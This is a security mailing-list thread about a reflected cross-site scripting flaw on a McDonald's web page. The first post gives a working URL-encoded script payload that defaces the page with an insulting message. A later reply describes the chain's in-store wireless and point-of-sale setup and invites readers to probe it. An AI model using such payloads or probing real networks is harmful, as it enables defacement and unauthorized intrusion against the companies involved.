Micky-dee's anyone?

[Paul Kurczaba]

Just another case of cross site scripting. I would understand people
caring if it was a bank's site...but McDonalds?

To all you people that like McDonalds, here is a quick link that may
http://www.mcdonalds.com/app_controller.bumper.bumper.html?_continue=%29%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%73%74%79%6C%65%2E%62%61%63%6B%67%72%6F%75%6E%64%3D%22%77%68%69%74%65%22%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%62%3E%3C%63%65%6E%74%65%72%3E%3C%62%72%3E%3C%62%72%3E%44%6F%6E%74%20%65%61%74%20%4D%63%44%6F%6E%61%6C%64%73%20%79%6F%75%20%66%61%74%20%66%75%63%6B%21%27%29%22%29%3B%3C%2
F%73%63%72%69%70%74%3E
<http://www.mcdonalds.com/app_controller.bumper.bumper.html?_continue=%29%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%73%74%79%6C%65%2E%62%61%63%6B%67%72%6F%75%6E%64%3D%22%77%68%69%74%65%22%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%62%3E%3C%63%65%6E%74%65%72%3E%3C%62%72%3E%3C%62%72%3E%44%6F%6E%74%20%65%61%74%20%4D%63%44%6F%6E%61%6C%64%73%20%79%6F%75%20%66%61%74%20%66%75%63%6B%21%27%29%22%29%3B%3C%2F%73%63%72%69%70%74%3E>
Interesting, huh?
Regards,
Pauil
------------------------------------------------------------------------
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[n3td3v]

Post by Paul Kurczaba
Just another case of cross site scripting. I would understand people
caring if it was a bank's site...but McDonalds?

Its Mayday,

Wake up.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[James Tucker]

Er, Bank, McD's. The monetary values are not entirely dissimilar.

XSS is XSS anyway, does it really matter where? Black hats are known
for their exploitation of "underestimated" weaknesses, so if one were
feeling philosophical, it could be expressed that this problem may be
more important than the 'bigger' issues.

Post by n3td3v

Post by Paul Kurczaba
Just another case of cross site scripting. I would understand people
caring if it was a bank's site...but McDonalds?

Its Mayday,
Wake up.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[n3td3v]

Post by James Tucker
Er, Bank, McD's. The monetary values are not entirely dissimilar.
XSS is XSS anyway, does it really matter where? Black hats are known
for their exploitation of "underestimated" weaknesses, so if one were
feeling philosophical, it could be expressed that this problem may be
more important than the 'bigger' issues.

You can't pick a better day than May the 1st to disclose a XSS
vulnerability on a Mc Donands website than on May the 1st, and thats
the point in this whole little affair.

Thanks, n3td3v

This is where I read Full-Disclosure:
http://groups-beta.google.com/group/n3td3v
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[vulcanius]

Speaking of McD's.

I might as well disclose a little info on the new wireless setups
they've installed. A while back I did some installations for them.
Basically they're running a setup designed by a company called
Wayport. If you ever venture into the back of a McD's they have two
servers running their PoS systems, accounting, surveillance, etc. I
forget the names of the servers but the system that's going to the
wireless is called CCD or CCCD if I remember correctly. The actual
wireless system uses DSL from BellSouth or another RBOC. They have a
small rackmounted CPU inside the wall-mounted case running Debian. I
was limited on time so don't bother asking me what kernel/services
it's running. Other than that they have the usual DSL filters, a
Sprint 4 port Hub mounted inside the case and I forget what wireless
router they are using. The wireless router is mounted above the
ceiling in front of the registers. Basically if your waiting in line
your standing right beneath it.

Also, to spoil your appetites for McD's wonderful burgers, while
running cables in the ceiling I had the joy of encountering no less
than 3 dead rats and more dead roaches than I could count.

Enjoy your food.

If anyone has more time to do a little probing, post what you find.

Post by n3td3v

Post by James Tucker
Er, Bank, McD's. The monetary values are not entirely dissimilar.
XSS is XSS anyway, does it really matter where? Black hats are known
for their exploitation of "underestimated" weaknesses, so if one were
feeling philosophical, it could be expressed that this problem may be
more important than the 'bigger' issues.

You can't pick a better day than May the 1st to disclose a XSS
vulnerability on a Mc Donands website than on May the 1st, and thats
the point in this whole little affair.
Thanks, n3td3v
http://groups-beta.google.com/group/n3td3v
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Pablo Abad]

Post by Paul Kurczaba
Just another case of cross site scripting. I would understand people
caring if it was a bank's site...but McDonalds?

Err, we are talking about code injection instead of XSS, or am I missing
something?

Cheers,
Pablo

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/